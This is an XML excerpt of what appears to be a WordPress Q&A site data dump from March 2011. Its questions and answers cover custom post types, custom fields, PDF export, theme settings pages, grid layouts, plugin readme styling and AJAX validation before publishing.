  <row Id="12087" PostTypeId="1" AcceptedAnswerId="12091" CreationDate="2011-03-15T11:07:28.527" Score="2" ViewCount="244" Body="&lt;p&gt;I have a Wordpress site that I just updated to 3.1. I want to make use of custom post types now, my question is how can I assign (transfer?) a post to a newly created custom post type ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, all my articles (news, poems, ideas to change the world) are in Posts. Now I have created the custom post types News, Poems, etc. and I want to transfer my old posts to these new custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this is clear enough, anybody ? &lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-03-15T11:42:48.380" Title="How can I convert Posts into Custom type posts?" Tags="&lt;custom-post-types&gt;&lt;posts&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="12088" PostTypeId="1" AcceptedAnswerId="12122" CreationDate="2011-03-15T11:10:51.247" Score="0" ViewCount="1030" Body="&lt;p&gt;i've found out that there are custom fields but i'm not able to activate them in the admin panel .. :(&#xA;i've checked the screen options but there's no custom fields - looks like it depends on the template i'm using.&#xA;any ideas how to modify it in order to enable custom fields for posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-05-23T07:18:33.297" Title="enabling custom fields in admin?" Tags="&lt;custom-field&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="12089" PostTypeId="1" AcceptedAnswerId="12120" CreationDate="2011-03-15T11:11:04.943" Score="1" ViewCount="123" Body="&lt;p&gt;Is it possible to export the posts of a blog as a PDF? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a blog with a couple of hundred posts that I'd like to read on my ereader, so I was wondering whether I could extract those posts into a PDF?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="3951" LastActivityDate="2011-03-15T14:51:42.360" Title="Export a blog(not mine) as a PDF document" Tags="&lt;export&gt;&lt;pdf&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="12090" PostTypeId="2" ParentId="12087" CreationDate="2011-03-15T11:23:09.637" Score="3" ViewCount="" Body="&lt;p&gt;You can use &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/convert-post-types/&quot; rel=&quot;nofollow&quot; title=&quot;Convert&quot;&gt;Convert Post Type&lt;/a&gt;&quot; to convert from your categories to custom post types that you have already defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin will convert all your selected categories to a custom post type that you can choose.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-03-15T11:23:09.637" />
  <row Id="12091" PostTypeId="2" ParentId="12087" CreationDate="2011-03-15T11:26:05.487" Score="4" ViewCount="" Body="&lt;p&gt;It seems that the easiest way is to &lt;a href=&quot;http://wordpress.org/support/topic/convert-posts-to-custom-post-types&quot; rel=&quot;nofollow&quot;&gt;do it manually in the DB&lt;/a&gt;. If you don't have access to the DB, or if you don't want to do it manually, you can install a &lt;a href=&quot;http://wordpress.org/extend/plugins/post-type-switcher/&quot; rel=&quot;nofollow&quot;&gt;plugin that will do it one post at a time&lt;/a&gt;, or a plugin that &lt;a href=&quot;http://wordpress.org/extend/plugins/convert-post-types/&quot; rel=&quot;nofollow&quot;&gt;will bulk convert a lot of posts at once&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-03-15T11:26:05.487" CommentCount="1" />
  <row Id="12092" PostTypeId="2" ParentId="12085" CreationDate="2011-03-15T11:35:08.427" Score="3" ViewCount="" Body="&lt;p&gt;Akismet is a great plugin to prevent spam.&#xA;It works great on my blogs - not one single spamcomment have made it through, yet.&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2011-03-15T11:35:08.427" CommentCount="2" />
  <row Id="12093" PostTypeId="2" ParentId="12089" CreationDate="2011-03-15T11:41:00.207" Score="0" ViewCount="" Body="&lt;p&gt;If its your blog you can install plugins like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/pdf24-posts-to-pdf/&quot; rel=&quot;nofollow&quot;&gt;PDF24 Articles To PDF&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/kalins-pdf-creation-station/&quot; rel=&quot;nofollow&quot;&gt;Kalin's PDF Creation Station&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;that alow creations of PDF from your posts/pages.&#xA;And if you are just reading that blog you can use one of many url to pdf services like &lt;a href=&quot;http://www.pdfonfly.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.pdfonfly.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-15T11:41:00.207" />
  <row Id="12094" PostTypeId="2" ParentId="12087" CreationDate="2011-03-15T11:42:48.380" Score="3" ViewCount="" Body="&lt;p&gt;there is  a great plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/post-type-switcher/&quot; rel=&quot;nofollow&quot;&gt;Post Type Switcher&lt;/a&gt;&#xA;that gives you simple way to change a post type in WordPress.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-15T11:42:48.380" />
  <row Id="12095" PostTypeId="1" CreationDate="2011-03-15T12:07:43.740" Score="0" ViewCount="147" Body="&lt;p&gt;I'm buiding a site that lists the most recent posts on the front page, the site is a recompilation of interesting articles and images so it doesn't make sense to link to the individual post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have the title redirecting externally to the link, but I would also like to link externally via the post image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a custum field &quot;externalurl&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have so far in the loop.php which does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    if ( has_post_thumbnail() ){ ?&amp;gt;&#xA;        &amp;lt;?php $thumbURL = get_post_custom_values('externalurl'); ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_attachment_link($thumbURL); ?&amp;gt;&quot; rel=&quot;gallery&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;        &#xA;            &amp;lt;?php the_post_thumbnail(); ?&amp;gt;&#xA;            &amp;lt;span class=&quot;view-large&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any idea what I'm doing wrong? &#xA;Any suggestions welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3952" LastActivityDate="2011-08-12T18:22:52.903" Title="get post images to link to external sources" Tags="&lt;loop&gt;" AnswerCount="1" />
  <row Id="12096" PostTypeId="2" ParentId="12082" CreationDate="2011-03-15T12:22:06.133" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.rvoodoo.com/who-are-the-voodoo-empire/&quot; rel=&quot;nofollow&quot;&gt;http://www.rvoodoo.com/who-are-the-voodoo-empire/&lt;/a&gt;&#xA;Something like that I assume?  That's a CPT displayed as sort of a grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you wrap the loop in a div.  Set the width of that div.  Say your overall width is 900px for your page.  You could set the post width as 250.  so 3 of them will be 750 wide, that gives you 150px of padding to use, etc.  You float the divs left.... then they automatically line up next to each other til they run out of space, then go to the next line.  By default, WP would put the newest one top left, if you floated left.  The older ones keep moving right until they wrap to the next line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To limit to 12 posts, and paginate afterwards, you just use a query.&#xA;&lt;a href=&quot;http://wordpress.org/search/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/search/query_posts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I don't know your theme, your css selectors will be different than mine, etc.  I'm just going to post what I use, and you can pick it apart.  The code will be different, but the concept remains the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also notice I use enqueue style here.  Since the grid layout is different from my normal posts, I only call the stylesheet for the grid on this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the query I use here, I've modified to meet your needs, but the rest of the stuff you'll need to tweak.  Like I display the excerpt here, you don't want that.  And the whole entry-utility section I have will not apply to you.  But, Like I said, I'm throwing this up in hopes it will help you with the concept.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;wp_enqueue_style(  &quot;member_css&quot;, $voodoo_template_dir . '/scheme/member-template.css', false, &quot;1.0&quot;, &quot;all&quot; );&#xA;get_header();&#xA;query_posts( array(&#xA;      'post_type' =&amp;gt; 've_members', &#xA;      'posts_per_page' =&amp;gt; 12,  &#xA;      'paged' =&amp;gt; ( get_query_var('paged') ? get_query_var('paged') : 1 ), &#xA; )); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&#xA;    &amp;lt;div&amp;gt;&#xA;&#xA;        &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;memberPost&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;memberBox&quot;&amp;gt;&#xA;&#xA;                &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/h2&amp;gt;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;memberThumb&quot;&amp;gt;&#xA;                    &amp;lt;a rel=&quot;lightbox&quot; href=&quot;&amp;lt;?php $image_id = get_post_thumbnail_id();&#xA;                    $image_url = wp_get_attachment_image_src($image_id,'large', true);&#xA;                    echo $image_url[0];  ?&amp;gt;&quot;&amp;gt;&#xA;                    &amp;lt;?php the_post_thumbnail('member-thumb', array( 'class' =&amp;gt; 'member-thumb aligncenter' ) ); ?&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;hr /&amp;gt;&#xA;                &amp;lt;div class=&quot;entry-utility&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;socialIcons&quot;&amp;gt;&#xA;                        &amp;lt;?php get_template_part( 'icons', 'members' ); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;fbConnect&quot;&amp;gt;&#xA;                        &amp;lt;?php if(function_exists('sfc_like_button')) : ?&amp;gt;&#xA;                        &amp;lt;?php sfc_like_button(array('layout' =&amp;gt; 'button_count')); ?&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;twitConnect&quot;&amp;gt;&#xA;                        &amp;lt;?php if(function_exists('stc_tweetbutton')) : ?&amp;gt;&#xA;                        &amp;lt;?php stc_tweetbutton(); ?&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;span class=&quot;comments-link&quot;&amp;gt;&amp;lt;?php comments_popup_link( __( '[Leave a Message]', 'voodoo_lion' ), __( '[1 Message]', 'voodoo_lion' ), __( '[% Messages]', 'voodoo_lion' ) ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is my stylesheet that I enqueue for just this template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .memberPost {&#xA;    float: left;&#xA;    width: 225px;&#xA;    margin: 10px;&#xA;}&#xA;.memberPost .fbConnect {&#xA;    width: 80px;&#xA;    float: left;&#xA;    overflow: hidden;&#xA;}&#xA;.memberPost .twitConnect {&#xA;    margin-right: -20px;&#xA;}&#xA;.memberPost h2 {&#xA;    text-align: center;&#xA;    margin-top: 5px;&#xA;}&#xA;.memberPost .memberThumb {&#xA;    height: 100px;&#xA;}&#xA;.memberPost .entry-content p {&#xA;    margin: 5px;&#xA;    height: 275px;&#xA;    text-align: left;&#xA;}&#xA;.memberPost .entry-utility {&#xA;    margin: 0 5px 10px 5px;&#xA;}&#xA;.memberPost .socialIcons {&#xA;    height: 28px;&#xA;    margin-bottom: 2px;&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-03-15T12:55:29.893" LastActivityDate="2011-03-15T12:55:29.893" CommentCount="2" />
  <row Id="12097" PostTypeId="2" ParentId="12095" CreationDate="2011-03-15T12:30:45.953" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_post_meta&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wouldn't echoing get_post+meta in the a link be best?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;externalurl&quot;, true) ); ?&amp;gt;&quot; rel=...and so on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-03-15T12:30:45.953" CommentCount="2" />
  <row Id="12098" PostTypeId="2" ParentId="12085" CreationDate="2011-03-15T12:34:10.287" Score="3" ViewCount="" Body="&lt;p&gt;+1 for akismet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/cookies-for-comments/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/cookies-for-comments/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is also amazing.  Akismet is great at catching spam, but adding cookies for comments is awesome.  It stops a lot of the auto-posted spam.  (Which most of it is)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cookies for comments will stop the comment before it even gets to you.  Akismet was catching 50 spams a day for me.  But once I added CFC, I only get maybe 1 comment a week for akismet to deal with.  The two combined are great&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-03-15T12:34:10.287" />
  <row Id="12099" PostTypeId="1" CreationDate="2011-03-15T12:37:42.140" Score="0" ViewCount="55" Body="&lt;p&gt;I'm working on a project that would require storing data in hundreds of taxonomies and meta fields. What is the best method to do this? Should I store the data in meta field arrays over another method or perhaps create a custom table? I know that this will require server resources no matter what, and that is ok as long as it's as efficient as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think?&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-03-15T12:37:42.140" Title="Best method to store large quantities of taxonomies or meta fields?" Tags="&lt;custom-taxonomy&gt;&lt;custom-field&gt;" CommentCount="4" />
  <row Id="12100" PostTypeId="1" AcceptedAnswerId="12114" CreationDate="2011-03-15T12:38:21.420" Score="2" ViewCount="132" Body="&lt;p&gt;I'm writing a theme and adding a menu with several submenu pages. It works fine, except that I'm trying to use only one array to save all the settings into the database and this is causing some issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when each submenu pages is saved, it only saves the values from that page to the array and removes all the other values from the other pages that were stored before so the array only ends up holding the values from one page at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the functions where I create the pages and register the setting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'theme_add_admin');&#xA;add_action('admin_init', 'register_theme_settings');&#xA;&#xA;function theme_add_admin() {&#xA;&#xA;add_menu_page( 'Theme Settings', 'Theme Settings', 'update_themes', 'themesettings', 'settings_messages_page');&#xA;add_submenu_page( 'themesettings', 'messages', 'Titles and Messages', 'update_themes', 'themesettings');&#xA;add_submenu_page( 'themesettings', 'layout', 'Layout', 'update_themes', 'settings_layout', 'settings_layout_page');&#xA;&#xA;add_settings_messages();&#xA;add_settings_layout();&#xA;&#xA;}&#xA;&#xA;function register_theme_settings() {&#xA;register_setting( THEMENAME . '_settingsgroup', THEMENAME . '_settings', 'validate_options' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In add_settings_messages() and add_settings_layout I add the sections and fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_settings_layout() {&#xA;&#xA;add_settings_section('layout_styles', 'Archive Layout', 'settings_layout_styles_fn', __FILE__);&#xA;&#xA;add_settings_field('layout_index', 'Home Page Post Style', 'layout_home_fn', __FILE__, 'layout_styles');&#xA;add_settings_field('layout_paged', 'Paged Archives Post Style', 'layout_paged_fn', __FILE__, 'layout_styles');&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the page display function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function settings_layout_page() { &#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;icon32&quot; id=&quot;icon-options-general&quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Layout&amp;lt;/h2&amp;gt;&#xA;&#xA;    &amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;?php settings_fields(THEMENAME . '_settingsgroup'); ?&amp;gt;&#xA;    &amp;lt;?php do_settings_sections('settings_layout'); ?&amp;gt;&#xA;    &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;        &amp;lt;input name=&quot;Submit&quot; type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php esc_attr_e('Save Changes'); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;/form&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm probably missing something obvious here, any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3953" LastActivityDate="2011-03-15T14:35:04.503" Title="Submenu pages delete settings from options array when saved" Tags="&lt;options&gt;&lt;settings&gt;&lt;theme-options&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="12101" PostTypeId="1" AcceptedAnswerId="12104" CreationDate="2011-03-15T12:56:14.830" Score="2" ViewCount="89" Body="&lt;p&gt;I am making &lt;code&gt;readme.html&lt;/code&gt; file for a plugin with some detailed setup instruction that need to include screenshots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As rest of UI I want it be consistent with WordPress style and so I looked at its own &lt;code&gt;readme.html&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It includes stylesheet with relative path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;wp-admin/css/install.css?ver=20100228&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for a plugin file I might go with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/wp-admin/css/install.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it is good way to include styling? There are really many ways to do it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;link to &lt;code&gt;install.css&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;bundle copy of &lt;code&gt;install.css&lt;/code&gt; with plugin;&lt;/li&gt;&#xA;&lt;li&gt;bundle own CSS file with plugin;&lt;/li&gt;&#xA;&lt;li&gt;embed style in &lt;code&gt;readme.html&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am not aware of any recommendation about providing HTML documentation with plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had you included HTML documentation with plugins (or themes, whatever)? What method had you chosen to style it and what was you reasoning for it?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-15T14:30:23.823" Title="Styling readme.html in plugin?" Tags="&lt;plugins&gt;&lt;css&gt;&lt;documentation&gt;&lt;readme&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="12102" PostTypeId="2" ParentId="12086" CreationDate="2011-03-15T13:01:42.590" Score="1" ViewCount="" Body="&lt;p&gt;When i needed a solution to the save &quot;problem&quot; i create an Ajax function to validate the fields and did some minor JQuery hacks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first we add our JavaScript to capture the submit/publish event and use it to submit our own ajax function before the actual submit&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_action('wp_print_scripts','my_publish_admin_hook');&#xA;&#xA;function my_publish_admin_hook(){&#xA;if (is_admin()){&#xA;        ?&amp;gt;&#xA;        &amp;lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&amp;gt;&#xA;            jQuery(document).ready(function() {&#xA;                jQuery('#post').submit(function() {&#xA;&#xA;                    var form_data = jQuery('#post').serializeArray();&#xA;                    form_data = jQuery.param(form_data);&#xA;                    var data = {&#xA;                        action: 'my_pre_submit_validation',&#xA;                        security: '&amp;lt;?php echo wp_create_nonce( 'pre_publish_validation' ); ?&amp;gt;',&#xA;                        form_data: form_data&#xA;                    };&#xA;                    jQuery.post(ajaxurl, data, function(response) {&#xA;                        if (response.indexOf('True') &amp;gt; -1 || response.indexOf('true') &amp;gt; -1 || response = true ||  response) {&#xA;                            jQuery('#ajax-loading').hide();&#xA;                            jQuery('#publish').removeClass('button-primary-disabled');&#xA;                            return true;&#xA;                        }else{&#xA;                            alert(&quot;please correct the following errors: &quot; + response);&#xA;                            jQuery('#ajax-loading').hide();&#xA;                            jQuery('#publish').removeClass('button-primary-disabled');&#xA;                            return false;&#xA;                        }&#xA;                    });&#xA;                    return false;&#xA;                });&#xA;            });&#xA;        &amp;lt;/script&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then we create the function to do the actual validation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_my_pre_submit_validation', 'pre_submit_validation');&#xA;function pre_submit_validation(){&#xA;    //simple Security check&#xA;    check_ajax_referer( 'pre_publish_validation', 'security' );&#xA;&#xA;    //do your validation here&#xA;    //all of the form fields are in $_POST['form_data'] array&#xA;    //and return true to submit: echo 'true'; die();&#xA;    //or your error message: echo 'bal bla bla'; die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can always change it up a bit to do the validation on the client side but i prefer on the server side.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-15T13:01:42.590" CommentCount="2" />
  <row Id="12103" PostTypeId="2" ParentId="12101" CreationDate="2011-03-15T13:22:28.430" Score="1" ViewCount="" Body="&lt;p&gt;I suggest you take a look at Justin Tadlock's &lt;a href=&quot;http://wordpress.org/extend/plugins/get-the-image/&quot; rel=&quot;nofollow&quot;&gt;Get the Image plugin&lt;/a&gt;. He includes readme.html, readme.txt, and readme.css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the path to your css file, what you posted wouldn't make sense (I don't think). I'd suggest something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;readme.css&quot; type=&quot;text/css /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and just put readme.css in the same directory as your readme.html file.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-03-15T13:22:28.430" CommentCount="2" />
  <row Id="12104" PostTypeId="2" ParentId="12101" CreationDate="2011-03-15T13:23:00.833" Score="1" ViewCount="" Body="&lt;p&gt;It would be better to include your own CSS file that way you can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use a relative path to your CSS.&lt;/li&gt;&#xA;&lt;li&gt;Avoid problems getting the path right to the &lt;code&gt;wp-admin&lt;/code&gt; directory. Not all people put WordPress in the root directory, so your example above would break for them.&lt;/li&gt;&#xA;&lt;li&gt;Possibly redundancy by reusing the CSS in your HTML &amp;amp; admin pages for your plugin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-03-15T13:23:00.833" CommentCount="2" />
  <row Id="12105" PostTypeId="2" ParentId="12040" CreationDate="2011-03-15T13:31:33.747" Score="3" ViewCount="" Body="&lt;p&gt;It appears I've been hoodwinked by my local setup &amp;amp; accidentally stopping connections to vimeo / youtube. This resulted in the video url appearing as only text. Once my setup was restarted everything appears to be working properly. Sorry for the confabulation.&lt;/p&gt;&#xA;" OwnerUserId="3899" LastActivityDate="2011-03-15T13:31:33.747" />
  <row Id="12106" PostTypeId="6" CreationDate="2011-03-15T14:05:56.563" Score="0" ViewCount="" Body="&lt;p&gt;I have served so far as a Moderator Pro Tempore; hopefully I've been doing a good job so far, and I would welcome the opportunity to continue functioning in that role.  As such, I would like to nominate myself as a community moderator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use WordPress to develop sites for my clients.  I use WordPress to develop and maintain my own sites.  I build and distribute open source plug-ins.  I build and sell themes.  I even contribute patches to core development.  Over the past several months I've been very active on this site, at least as active as my schedule allows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a Moderator Pro Tempore I've always tried to be fair and respond quickly to community concerns regarding post quality.  I'm also active on the Meta site, contributing to as many conversations as I can.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-03-15T14:05:56.563" LastActivityDate="2011-03-15T14:05:56.563" CommunityOwnedDate="2011-03-15T14:05:56.563" CommentCount="5" />
  <row Id="12107" PostTypeId="1" AcceptedAnswerId="12109" CreationDate="2011-03-15T14:11:36.957" Score="1" ViewCount="68" Body="&lt;p&gt;I use this code to pull in an image based on a post's category. Images are named after the category they represent, so a post in category 50 pulls in 50.jpg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;foreach((get_the_category()) as $category) { &#xA;    echo '&amp;lt;img src=&quot;/path/to/file/' . $category-&amp;gt;cat_ID . '.jpg&quot; alt=&quot;' . $category-&amp;gt;cat_name . '&quot; /&amp;gt;'; &#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to do the same but to include a php file (also named after the category - so 50.php using the above example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="3471" LastActivityDate="2011-03-15T18:25:32.517" Title="Code to pull in a PHP file named after the category ID" Tags="&lt;categories&gt;&lt;php&gt;&lt;template&gt;" AnswerCount="1" />
  <row Id="12108" PostTypeId="2" ParentId="12049" CreationDate="2011-03-15T14:16:33.857" Score="2" ViewCount="" Body="&lt;p&gt;If you can't modify .htaccess then chances are WordPress can't either. Save your permalinks again and check if it tells you it couldn't save your htaccess file. That's your problem if so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bigger question: why are you using a host that won't let you modify .htaccess? That's like renting an apartment from a landlord that won't let you use the bathroom. You're paying them for space on that server and you should be allowed to use it in any legal way you see fit. My advice is that you change hosting providers.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-03-15T14:16:33.857" />
